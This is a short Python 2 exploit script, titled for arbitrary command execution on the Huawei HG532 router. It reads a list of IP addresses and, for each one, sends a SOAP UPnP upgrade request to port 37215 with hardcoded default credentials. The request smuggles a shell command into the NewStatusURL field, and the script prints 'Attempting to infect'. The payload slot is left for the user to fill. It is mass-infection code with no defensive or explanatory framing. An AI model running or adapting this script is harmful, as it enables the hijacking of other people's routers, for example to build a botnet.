Huawei Router HG532 - Arbitrary Command Execution

import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"

class exploit(threading.Thread):
		def __init__ (self, ip):
			threading.Thread.__init__(self)
			self.ip = str(ip).rstrip('\n')
		def run(self):
			try:
				url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
				requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
				print "[SOAP] Attempting to infect " + self.ip
			except Exception as e:
				pass

for ip in ips:
	try:
		n = exploit(ip)
		n.start()
		time.sleep(0.03)
	except:
		pass